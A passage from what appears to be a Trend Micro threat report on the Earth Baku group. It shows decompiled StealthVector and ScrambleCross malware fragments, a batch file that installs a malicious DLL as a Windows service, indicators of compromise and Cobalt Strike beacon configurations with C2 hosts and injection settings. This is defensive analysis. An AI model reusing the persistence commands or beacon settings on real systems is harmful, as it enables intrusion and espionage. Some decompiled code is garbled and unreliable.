reg add "HKLMSOFTWARE\Microsoft\Windows NT\CurrentVersion\Services\"%SERVICE_NAME"%" /V "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%"
sc start %SERVICE_NAME%
reg add "HKLMSYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f
reg add "HKLMSYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /V "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f
net start %SERVICE_NAME%
```

Figure 47. The batch file used by APT41, according to FireEye’s report

## Code Similarities to the Shellcode Loader Used by APT41

We have observed that Storesyncsvc.dll, the DLL version used by StealthVector, has an entry point for service (Figure 48) that resembles the one mentioned in FireEye’s report (Figure 49). There are also similar procedures for loading the necessary APIs between the Storesyncsvc.dll versions of the StealthVector sample (Figure 50) and the one from the FireEye report (Figure 51).
```c
int __fastcall ServiceMain(int a1, const wchar_t **a2)
{
    SERVICE_STATUS_HANDLE v4; // eax
    SERVICE_STATUS_HANDLE v5; // rdi
    __Int64 v6; // rdx
    __Int64 v7; // rdx
    wchar_t ServiceName[264]; // [rsp+20h] [rbp-228h] BYREF
    v4 = LoadLibraryW(L"Advapi32.dll");
    v5 = v4;
    if ( a1 >= 0 )
    {
        memset(ServiceName, 0, 0x208u164);
        wcsncpy(ServiceName, 0x100u64, *a2);
        v4 = RegisterServiceCtrlHandlerW(ServiceName, HandlerProc);
        hServiceStatus = v4;
        if ( v4 )
        {
            sub_7FFD672621F0(2u, v6, 1u);
            sub_7FFD672621F0(4u, v7, 0);
            while ( !DWORD(7FFD672770DB)
            (api->Kernel32_Sleep)(1000u64);
            LODWORD(v4) = CloseHandle(v5);
        }
    }
    return v4;
}
```

Figure 48. Storesyncsvc.dll in StealthVector

```c
int __fastcall ServiceMain(int a1, const wchar_t **a2)
{
    HMODULE v4; // eax
    HMODULE v5; // rdi
    __Int64 v6; // rdx
    __Int64 v7; // rdx
    wchar_t Destination[256]; // [rsp+20h] [rbp-218h] BYREF
    v4 = LoadLibraryW(L"Advapi32.dll");
    v5 = v4;
    if ( a1 >= 0 )
    {
        memset(Destination, 0, sizeof(Destination));
        wcscpy(Destination, 0x8Fu64);
        v4 = (void *)Advapi32_RegisterServiceCtrlHandlerW(Destination, HandlerProc);
        qword_7FFD67F0C060 = v4;
        if ( v4 )
        {
            sub_7FFD680810B4(2u, v6, 1u);
            sub_7FFD680810B4(4u, v7, 0u);
            while ( !byte_7FFD680306B0 )
            Sleep(0x3E8);
            LODWORD(v4) = CloseHandle(v5);
        }
    }
    return v4;
}
```

Figure 49. Storesyncsvc.dll in the FireEye report sample
Technique Similarities to Crosswalk

Crosswalk and ScrambleCross implement similar techniques. Both pieces of malware decode their main functions and strings with XOR, after which they check the signature of the decoded section, as shown in Figure 52 and Figure 53.
do
  
  v13 = *p_section_1++;
  hash1 = v13 + _ROM4 (hash1, v13);
  --size_of_section_1

  
while ( size_of_section_1 )
  
  if ( hash_for_section_1 == hash1 )
    
  v14 = &this->field_28;
  v15 = v7 - 192;
  if ( v7 - 192 > 0 )
    
  v16 = this->field_38;
  v17 = &v16;
  do
    
  if ( v17 == v16 )
    
  v17 = &v16;
  *v16 = *(v16 + field_38 + ++v17 + 3);;
  v54 = (v14 + 1);
  --v15;

  while ( v15 );

  p_section_2 = this->section_2;
  hash2 = 0;
  do
    
  v20 = *p_section_2++;
  hash2 = v20 + _ROM4 (hash2, this->initial_value);
  --size_for_section_2

  while ( size_for_section_2 )
    
  if ( hash_for_section_2 == hash2 )
    
  (this->hash_for_section_2 = hash_for_section_2);
  (this->hash_for_section_1 = hash_for_section_1);
  goto LABEL_14;

Figure 52. Crosswalk code that checks the signature of its decoded section


do
  
  v4 = v6 + 1;
  v4 = v7 + _ROM4 (v4, 13);

  while ( v4 )
    
  if ( _ROM4 (v4, 13) != signature_for_global_value ) // check signature for global values
    
  return 12154;

  v9 = &g_data - base_addr;
  v10 = v9 / 8;
  v11 = v9 % 8;
  v12 = v9 / (v9 / 8) + 8;
  if ( (v9 % 8) )
    
  v13 = &g_data - base_addr;

  do_xor(&(sub_1E00AA0D028 - base_addr), base_addr + v13 - sub_1E00AA0D028, this->xor_key_for_code);
    
  if ( v10 )
    
  v10 = v10 + 0;
  v15 = 0;
  v16 = v15;
  if ( v16 )
    
  for ( ; v10 --v9 )
    
  v17 = *v14++;
  v18 = v17 + _ROM4 (v15, 13);

  v15 = _ROM4 (v15, 13);

  if ( v15 != this->signature_for_code ) // check signature for code section
    
  return 0x154; 

Figure 53. ScrambleCross code that checks the signature of its decoded section
Conclusion and Security Recommendations

The discovery of these new pieces of malware demonstrates that Earth Baku consists of members with varied skill sets. The group's use of the StealthMutant and StealthVector loaders indicates that among their ranks is at least one member who is familiar with tools and techniques used by red teams. Likewise, the group's use of the ScrambleCross backdoor points to at least one member who likely has a deep knowledge of low-level programming and complex software development.

Evidence of members with these collective skills obscures the true purpose behind this new campaign. Even though Earth Baku engaged in ransomware attacks in early 2020, we have not observed the use of ransomware in this new campaign. Instead, as a report by Group-IB suggests, this latest campaign by Earth Baku may be focused on cyberespionage. It is our hope that this report will encourage other security researchers to publish further research about this threat actor group and its activities.

Here are several measures that end users and organizations can take to defend their networks and systems against cyberespionage tactics and minimize the risk of compromise:

- **Practice the principle of least privilege.** Limit access to sensitive data and carefully monitor user permissions to make lateral movement more difficult for attackers who want to infiltrate a corporate network.

- **Be mindful of security gaps.** Regularly update systems and applications, and enforce strict patch management policies. Practice virtual patching to secure any legacy systems for which patches are not yet available.

- **Have a proactive incident response strategy.** Implement defensive measures that are designed to assess threats and mitigate their impact in the event of a breach. Routinely carry out security drills to test the efficiency of the organization's incident response plan.

- **Enforce the 3-2-1 rule.** Store at least three copies of corporate data in two different formats, with one air-gapped copy located off-site. Routinely update and test these copies to ensure that there are no errors in the backup process.
Enterprises and government agencies can benefit from advanced Trend Micro solutions that can proactively keep IT environments protected from a wide range of cybersecurity threats. The Trend Micro™ XDR service effectively protects connected emails, endpoints, servers, cloud workloads, and networks. It uses powerful AI and expert security analytics to correlate data, and deliver fewer yet higher-fidelity alerts for early threat detection. In a single console, it provides a broader perspective of enterprise systems while at the same time giving a more focused and optimized set of alerts. This allows IT security teams to have better context for identifying threats more quickly and therefore to understand and remediate impact much more effectively.

The Trend Micro™ Managed XDR service, meanwhile, provides expert threat monitoring, correlation, and analysis from skilled and seasoned managed detection and response analysts. Managed XDR is a flexible, 24/7 service that allows organizations to have a single source of detection, analysis, and response. Analyst expertise is enhanced by Trend Micro solutions that are optimized by AI and enriched by global threat intelligence. The Managed XDR service allows organizations to expand with the cloud without sacrificing security or overburdening IT teams.
## Appendix

### MITRE ATT&CK Tactics, Techniques, and Procedures

<table>
<thead>
<tr>
<th>Tactic</th>
<th>ID</th>
<th>Technique</th>
<th>Procedure</th>
<th>Used by</th>
</tr>
</thead>
<tbody>
<tr>
<td>Initial access</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>T1190</td>
<td></td>
<td>Exploit public-facing application</td>
<td>Earth Baku exploits SQL injection or CVE-2021-26855 to intrude on the network.</td>
<td></td>
</tr>
<tr>
<td>T1566.001</td>
<td></td>
<td>Phishing: spear phishing attachment</td>
<td>Earth Baku possibly distributes spam with LNK attachments that download StealthVector.</td>
<td></td>
</tr>
<tr>
<td>Execution</td>
<td>T1059.003</td>
<td>Command and scripting interpreter: Windows Command Shell</td>
<td>Earth Baku uses a batch file to install StealthVector.</td>
<td></td>
</tr>
<tr>
<td>T1059.005</td>
<td></td>
<td>Command and scripting interpreter: Visual Basic</td>
<td>Earth Baku uses VBS to drop StealthVector.</td>
<td></td>
</tr>
<tr>
<td>T1569.002</td>
<td></td>
<td>Service execution</td>
<td>Some variants of StealthVector are designed to be executed as a service.</td>
<td>StealthVector</td>
</tr>
<tr>
<td>T1053.005</td>
<td></td>
<td>Scheduled task/job: scheduled task</td>
<td>StealthMutant is executed via a scheduled task.</td>
<td></td>
</tr>
<tr>
<td>Defense evasion</td>
<td>T1574.002</td>
<td>DLL sideloading</td>
<td>Some variants of StealthVector are designed to be executed by DLL sideloading.</td>
<td>StealthVector</td>
</tr>
<tr>
<td>T1055.012</td>
<td></td>
<td>Process injection: process hollowing</td>
<td>StealthMutant and StealthVector can perform process hollowing and phantom DLL hollowing to inject the shellcode in a remote process.</td>
<td>StealthMutant, StealthVector</td>
</tr>
<tr>
<td>T1562.006</td>
<td></td>
<td>Impair defenses: indicator blocking</td>
<td>StealthMutant and StealthVector can patch EtwEventWrite to disable logging by ETW.</td>
<td>StealthMutant, StealthVector</td>
</tr>
<tr>
<td>T1027</td>
<td></td>
<td>Obfuscated files or information</td>
<td>StealthMutant uses XOR or AES-256-ECB to decrypt the payload. StealthVector uses ChaCha20 to decrypt both the configuration and the payload. The main function of ScrambleCross is encoded by XOR and its configuration is encrypted by ChaCha20.</td>
<td>StealthMutant, StealthVector, ScrambleCross</td>
</tr>
<tr>
<td>T1218.004</td>
<td></td>
<td>Signed binary proxy execution: InstallUtil</td>
<td>Some variants of StealthVector, including its C# implementation StealthMutant, are executed by InstallUtil.</td>
<td>StealthMutant</td>
</tr>
<tr>
<td>Tactic and control</td>
<td>Tactic ID</td>
<td>Technique</td>
<td>Procedure</td>
<td>Used by</td>
</tr>
<tr>
<td>--------------------</td>
<td>-----------</td>
<td>-----------</td>
<td>-----------</td>
<td>---------</td>
</tr>
<tr>
<td>T1036.003</td>
<td>Masquerading: rename system utilities</td>
<td>Earth Baku renames the legitimate CertUtil.exe to bypass detection.</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>T1027.002</td>
<td>Obfuscated files or information: software packing</td>
<td>StealthMutant is packed by ConfuserEx.</td>
<td>StealthMutant</td>
<td></td>
</tr>
<tr>
<td>Command and control</td>
<td>T1573.001</td>
<td>Encrypted channel: symmetric cryptography</td>
<td>ScrambleCross uses ChaCha20 for packet encryption.</td>
<td>ScrambleCross</td>
</tr>
<tr>
<td>T1071.001</td>
<td>Application layer protocol: web protocols</td>
<td>The Cobalt Strike beacon uses HTTPS to communicate with the C&amp;C server. ScrambleCross uses HTTP/HTTPS to communicate with the C&amp;C server.</td>
<td>Cobalt Strike, ScrambleCross</td>
<td></td>
</tr>
<tr>
<td>T1071.004</td>
<td>Application layer protocol: DNS</td>
<td>The Cobalt Strike beacon uses DNS to communicate with the C&amp;C server.</td>
<td>Cobalt Strike</td>
<td></td>
</tr>
<tr>
<td>T1090.004</td>
<td>Proxy: domain fronting</td>
<td>ScrambleCross abuses a legitimate CDN service to tunnel traffic to the actual C&amp;C server.</td>
<td>ScrambleCross</td>
<td></td>
</tr>
<tr>
<td>T1105</td>
<td>Ingress tool transfer</td>
<td>Earth Baku uses CertUtil.exe to download components from a URL.</td>
<td>-</td>
<td></td>
</tr>
</tbody>
</table>

**Indicators of Compromise**

**LNK Downloader Files**

<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Detection</th>
</tr>
</thead>
<tbody>
<tr>
<td>59fa89a19aa236ae216f0c8e8d59292b8d4e1b3c8b5f94038851cc5396d6513</td>
<td>Trojan.LNK.STEALTHVECTOR.ZYIF</td>
</tr>
</tbody>
</table>

**BAT Launcher Files**

<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Detection</th>
</tr>
</thead>
<tbody>
<tr>
<td>49e338c5ae9489556ae8f120a74960f338381c91b8f03061ee588f6ad97e74c</td>
<td>Trojan. BAT.SVCLAUNCHER.ZYIF</td>
</tr>
<tr>
<td>c8e3e27401ae87cbdb91b46505b89f2970f8890de4b09cbaa538d827caa86b26</td>
<td>Trojan. BAT.SVCLAUNCHER.ZYIF</td>
</tr>
<tr>
<td>d1175b88744606363f6fdff2df5f980ca5a0989a3944fcf15f5c4c014473b043ca</td>
<td>Trojan. BAT.SVCLAUNCHER.ZYIF</td>
</tr>
<tr>
<td>62d9e8f6e8a6e53c675666beaaf4b9d93da6d390bf6f3ae1340389178a2fa29</td>
<td>Trojan. BAT.SVCLAUNCHER.ZYIF</td>
</tr>
<tr>
<td>da4b86b9367151e0c36b90cb7329aca2d05f2984ce0e0181dd355b728acc4428</td>
<td>Trojan. BAT.SVCLAUNCHER.ZYIF</td>
</tr>
</tbody>
</table>
# StealthMutant and Payloads

<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Detection</th>
<th>Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>24ac3cc305576493beefab026d1cb7cee84f3fbcc51cdb5e612c290499390a</td>
<td>Backdoor.Win64. SCRAMBLECROSS.ZYIF.enc</td>
<td>Cobalt Strike beacon (HTTP)</td>
</tr>
<tr>
<td>209521bc350e7f5b28decba46bad81090a13f42eed396d3ca9a97eaf7902fe8</td>
<td>Backdoor.Win64. COBEACON.ZYIF.enc</td>
<td>-</td>
</tr>
<tr>
<td>34f95e0307959a376df28bc648190f72bccc5b25e0e0e45777730d26abb5316</td>
<td>Trojan.MSIL. STEALTHMUTANT.ZYIF</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>b7b2aa801dea2ec2797f8caf3b9c4bf8d0c1effe532c0800b40336e9012af2</td>
<td>Trojan.MSIL. STEALTHMUTANT.ZYIF</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>8284c44f87ab8471918da564152ffcc28348a671e3a9316876b075cdf03c3607</td>
<td>Trojan.MSIL. STEALTHMUTANT.ZYIF</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>e66adbc6ca13dab9915aca30360c86b75e63e9c0845ac89217299fed568610cc</td>
<td>Trojan.MSIL. STEALTHMUTANT.ZYIF</td>
<td>ScrambleCross</td>
</tr>
<tr>
<td>6c5192a478bd7eca95f83ab3ebf036d4c1fcc81e0354fa05f02f5fe4e8bdf5</td>
<td>Backdoor.Win64. SCRAMBLECROSS.ZYIF.enc</td>
<td>-</td>
</tr>
<tr>
<td>ce16e9a2d3722bb5f5b363f307bd38ed24abafea72aeb6dd002d51eeea16df</td>
<td>Trojan.MSIL. STEALTHMUTANT.ZYIF</td>
<td>Cobalt Strike beacon (HTTPS)</td>
</tr>
<tr>
<td>9269dc68d46630c0d534bf62a99037fd3a124a6459d97692c25ff89ccdf1f08</td>
<td>Backdoor.Win64. COBEACON.ZYIF.enc</td>
<td>-</td>
</tr>
<tr>
<td>04f6fc49da69838f5b511d8f996dc409a53249099bd71b3c897b98ad97fd867c</td>
<td>Trojan.MSIL. STEALTHMUTANT.ZYIF</td>
<td>ScrambleCross</td>
</tr>
<tr>
<td>730f4d8c1e774406105bbaad3cb4b466c27e0a50cf8345c236b42a80b437e2a8</td>
<td>Backdoor.Win64. SCRAMBLECROSS.ZYIF.enc</td>
<td>-</td>
</tr>
</tbody>
</table>

### StealthVector

<table>
<thead>
<tr>
<th>SHA-256</th>
<th>Detection</th>
<th>Payload</th>
</tr>
</thead>
<tbody>
<tr>
<td>9e178bb966f101e8c8ed020fbb2fb5878e2a969f7eaf47bc990f0472e85a3533</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>d9d269a199ca0841fc71ef045c3dc5701a5042bea46d05a657b6db43fe55acc</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>8da88951322fa7f464c13cb4a173d0c178f5e34a57957c9117b393133dd19925</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>SHA-256</td>
<td>Detection</td>
<td>Payload</td>
</tr>
<tr>
<td>----------------</td>
<td>--------------------------------------------</td>
<td>--------------------------------</td>
</tr>
<tr>
<td>e009ef76fb9402fe379280ed9c6a4d81748fb259475b9048937f3d7c7f0f032</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>e2ae201bd6a7397dcc5036260122e7d67046569b90c4f1b79ef8e34914729888</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>ScrambleCross</td>
</tr>
<tr>
<td>c1b587a922691c7e01db3e57f223fa2b52d2df2121736922ff97141571c550cfc</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>02378f64fd1083491cf5558397aae763ff047a5fa9fcaf624d1710b86f440777</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>560a96e4577d09eb13416e5c4d649c346ca11a2459f09c8a3495d7c377c1f31d</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Cobalt Strike beacon (Hybrid HTTP DNS)</td>
</tr>
<tr>
<td>91aa05e3666c7e2443fc1f0f0142f1829f5ec51e289c95b10811531da50eb2b3</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Cobalt Strike beacon (HTTPS)</td>
</tr>
<tr>
<td>98f6be546c5191b67014e3d0f7f8df86715d970aa326a6a438d0be234da8841</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>477882b41e10aef0fcd0d5d33715dfb4eb7f8f3277057978ac77d3ec5914c6f9</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>bf34dfb4140c00d23554b03ebb986b2734a2c396877681d526e2ac80b372268a</td>
<td>Trojan.Win64. STEALTHVECTOR. SMZTID-B</td>
<td>Encrypted payload not found</td>
</tr>
<tr>
<td>d981edf78680f46616574b46ac3d0ab58a509430c155905761058152a24f091d</td>
<td>Trojan.Win64. STEALTHVECTOR.ZYIG</td>
<td>Cobalt Strike beacon (HTTPS)</td>
</tr>
</tbody>
</table>

**Domains/IP addresses**

<table>
<thead>
<tr>
<th>Domain/Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ns[.]cloud01[.]tk</td>
</tr>
<tr>
<td>Ns[.]cloud20[.]tk</td>
</tr>
<tr>
<td>ns1[.]extrsports[.]ru:443</td>
</tr>
<tr>
<td>www[.]microsofthelp[.]dns1[.]us:443</td>
</tr>
<tr>
<td>45[.]138[.]157[.]78:80</td>
</tr>
<tr>
<td>update[.]microsoftdocs[.]workers[.]dev:443</td>
</tr>
<tr>
<td>www[.]twitterproxy[.]com:443</td>
</tr>
<tr>
<td>cdn[.]cloudflare[.]workers[.]dev:443</td>
</tr>
<tr>
<td>mssetting[.]com</td>
</tr>
<tr>
<td>dns224[.]com</td>
</tr>
<tr>
<td>cloudflare-ko[.]biguserup[.]workers[.]dev:443</td>
</tr>
</tbody>
</table>
Hybrid HTTP DNS beacon

<table>
<thead>
<tr>
<th>BeaconType</th>
<th>Hybrid HTTP DNS</th>
</tr>
</thead>
<tbody>
<tr>
<td>Port</td>
<td>1</td>
</tr>
<tr>
<td>SleepTime</td>
<td>300000</td>
</tr>
<tr>
<td>MaxGetSize</td>
<td>1404878</td>
</tr>
<tr>
<td>Jitter</td>
<td>37</td>
</tr>
<tr>
<td>MaxDNS</td>
<td>255</td>
</tr>
<tr>
<td>PublicKey_MD5</td>
<td>df50953714f29628a7f6a6c97eb0bc2e</td>
</tr>
<tr>
<td>C2Server</td>
<td>ns.cloud01.tk,/users/sign_in,ns.cloud20.tk,/users/sign_in</td>
</tr>
<tr>
<td>UserAgent</td>
<td>Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko</td>
</tr>
<tr>
<td>HttpPostUri</td>
<td>/signup/custom</td>
</tr>
</tbody>
</table>

Malleable C2 Instructions
- Remove 3405 bytes from the end
  - Remove 3366 bytes from the beginning
  - Base64 URL-safe decode
  - XOR mask w/ random key

HttpGet_Metadata
- ConstHeaders
  - Host: forawesome.com
  - "xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
  - Referer: https://fortawesome.com/
  - Metadata
    - base64url
      - prepend "_fortawesome_session="
      - header "Cookie"

HttpPost_Metadata
- ConstHeaders
Host: forawesome.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

SessionId
mask
base64url
parameter "__uid"

Output
mask
base64url
prepend "remember_me=on&authenticity_token="
print
PipeName -
DNS_Idle - 8.8.8.8
DNS_Sleep - 0
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
SSH_Banner -
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\rundll32.exe
Spawnto_x64 - %windir%\sysnative\rundll32.exe
<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>CryptoScheme</td>
<td>- 0</td>
</tr>
<tr>
<td>Proxy_configuration</td>
<td>- Not Found</td>
</tr>
<tr>
<td>Proxy_User</td>
<td>- Not Found</td>
</tr>
<tr>
<td>Proxy_Password</td>
<td>- Not Found</td>
</tr>
<tr>
<td>Proxy_Behavior</td>
<td>- Use IE settings</td>
</tr>
<tr>
<td>Watermark</td>
<td>- 305419896</td>
</tr>
<tr>
<td>bStageCleanup</td>
<td>- True</td>
</tr>
<tr>
<td>bCFGCaution</td>
<td>- False</td>
</tr>
<tr>
<td>KillDate</td>
<td>- 0</td>
</tr>
<tr>
<td>bProcInject_StartRWX</td>
<td>- False</td>
</tr>
<tr>
<td>bProcInject_UseRWX</td>
<td>- False</td>
</tr>
<tr>
<td>bProcInject_MinAllocSize</td>
<td>- 17500</td>
</tr>
<tr>
<td>ProcInject_PrependAppend_x86</td>
<td>- b'\x90\x90\x90\x90'</td>
</tr>
<tr>
<td>ProcInject_PrependAppend_x64</td>
<td>- b'\x90\x90\x90\x90'</td>
</tr>
<tr>
<td>ProcInject_Execute</td>
<td>- ntdll:RtlUserThreadStart</td>
</tr>
<tr>
<td>ProcInject_AllocationMethod</td>
<td>- NtMapViewOfSection</td>
</tr>
<tr>
<td>bUsesCookies</td>
<td>- True</td>
</tr>
<tr>
<td>HostHeader</td>
<td>-</td>
</tr>
<tr>
<td>headersToRemove</td>
<td>- Not Found</td>
</tr>
<tr>
<td>DNS_Beaconing</td>
<td>- Not Found</td>
</tr>
</tbody>
</table>
**HTTPS beacon**

- **BeaconType**: HTTPS
- **Port**: 443
- **SleepTime**: 60000
- **MaxGetSize**: 1404878
- **Jitter**: 37
- **MaxDNS**: 255
- **PublicKey_MD5**: df50953714f29628a7f6a6c97eb0bc2e
- **C2Server**: work.cloud01.tk,/users/sign_in,work.cloud20.tk,/users/sign_in,185.118.166.205,/users/sign_in
- **UserAgent**: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
- **HttpPostUri**: /signup/custom
- **Malleable_C2_Instructions**: Remove 3405 bytes from the end. Remove 3366 bytes from the beginning
Base64 URL-safe decode

XOR mask w/ random key

HttpGet_Metadata - ConstHeaders

Host: forawesome.com

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Referer: https://fortawesome.com/

Metadata

base64url

prepend ";_fortawesome_session="

header "Cookie"

HttpPost_Metadata - ConstHeaders

Host: forawesome.com

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

SessionId

mask

base64url

parameter "__uid"

Output

mask

base64url

prepend "remember_me=on&authenticity_token="

print

PipeName -
<table>
<thead>
<tr>
<th>Variable</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>DNS_Idle</td>
<td>8.8.8.8</td>
</tr>
<tr>
<td>DNS_Slee</td>
<td>0</td>
</tr>
<tr>
<td>SSH_Host</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Port</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Username</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Password_Plaintext</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Password_Pubkey</td>
<td>Not Found</td>
</tr>
<tr>
<td>SSH_Banner</td>
<td>-</td>
</tr>
<tr>
<td>HttpGet_Verb</td>
<td>GET</td>
</tr>
<tr>
<td>HttpPost_Verb</td>
<td>POST</td>
</tr>
<tr>
<td>HttpPostChunk</td>
<td>0</td>
</tr>
<tr>
<td>Spawnto_x86</td>
<td>%windir%\syswow64\rundll32.exe</td>
</tr>
<tr>
<td>Spawnto_x64</td>
<td>%windir%\sysnative\rundll32.exe</td>
</tr>
<tr>
<td>CryptoScheme</td>
<td>0</td>
</tr>
<tr>
<td>Proxy_configuration</td>
<td>Not Found</td>
</tr>
<tr>
<td>Proxy_User</td>
<td>Not Found</td>
</tr>
<tr>
<td>Proxy_Password</td>
<td>Not Found</td>
</tr>
<tr>
<td>Proxy_Behavior</td>
<td>Use IE settings</td>
</tr>
<tr>
<td>Watermark</td>
<td>305419896</td>
</tr>
<tr>
<td>bStageCleanup</td>
<td>True</td>
</tr>
<tr>
<td>bCFGCaution</td>
<td>False</td>
</tr>
<tr>
<td>KillDate</td>
<td>0</td>
</tr>
<tr>
<td>bProcInject_StartRWX</td>
<td>False</td>
</tr>
<tr>
<td>bProcInject_UseRWX</td>
<td>False</td>
</tr>
<tr>
<td>bProcInject_MinAllocSize</td>
<td>17500</td>
</tr>
<tr>
<td>ProcInject_PrependAppend_x86</td>
<td>b'\x90\x90\x90\x90'</td>
</tr>
<tr>
<td>Function</td>
<td>Description</td>
</tr>
<tr>
<td>--------------------------</td>
<td>--------------------------------------------------</td>
</tr>
<tr>
<td><code>ProcInject_PrependAppend_x64</code></td>
<td><code>b'\x90\x90\x90\x90'</code></td>
</tr>
<tr>
<td><code>ProcInject_Execute</code></td>
<td><code>ntdll:RtlUserThreadStart</code></td>
</tr>
<tr>
<td></td>
<td><code>CreateThread</code></td>
</tr>
<tr>
<td></td>
<td><code>NtQueueApcThread-s</code></td>
</tr>
<tr>
<td></td>
<td><code>CreateRemoteThread</code></td>
</tr>
<tr>
<td></td>
<td><code>RtlCreateUserThread</code></td>
</tr>
<tr>
<td><code>ProcInject_AllocationMethod</code></td>
<td><code>NtMapViewOfSection</code></td>
</tr>
<tr>
<td><code>bUsesCookies</code></td>
<td><code>True</code></td>
</tr>
<tr>
<td><code>HostHeader</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>headersToRemove</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_Beaconing</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_get_TypeA</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_get_TypeAAAA</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_get_TypeTXT</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_put_metadata</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_put_output</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_resolver</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_strategy</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_strategy_rotate_seconds</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_strategy_fail_x</code></td>
<td><code>Not Found</code></td>
</tr>
<tr>
<td><code>DNS_strategy_fail_seconds</code></td>
<td><code>Not Found</code></td>
</tr>
</tbody>
</table>
References


TREND MICRO™ RESEARCH

Trend Micro, a global leader in cybersecurity, helps to make the world safe for exchanging digital information.

Trend Micro Research is powered by experts who are passionate about discovering new threats, sharing key insights, and supporting efforts to stop cybercriminals. Our global team helps identify millions of threats daily, leads the industry in vulnerability disclosures, and publishes innovative research on new threat techniques. We continually work to anticipate new threats and deliver thought-provoking research.

www.trendmicro.com